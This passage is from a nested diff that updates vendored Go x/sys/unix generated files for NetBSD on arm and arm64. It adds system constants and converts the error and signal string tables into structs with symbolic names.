-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-index 206c75f0..c8d36fe9 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -marm
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -marm _const.go
-
- package unix
-@@ -151,6 +151,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -161,6 +162,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -529,6 +532,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -563,6 +570,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -952,6 +960,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -988,6 +1000,43 @@ const (
- MAP_STACK = 0x2000
- MAP_TRYFIXED = 0x400
- MAP_WIRED = 0x800
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1016,6 +1065,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1081,7 +1131,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1555,137 +1608,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-similarity index 89%
-copy from vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-index 4994437b..f1c146a7 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -537,6 +540,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -571,6 +578,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -960,6 +968,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -998,6 +1010,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1026,6 +1075,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1091,7 +1141,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1566,137 +1619,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
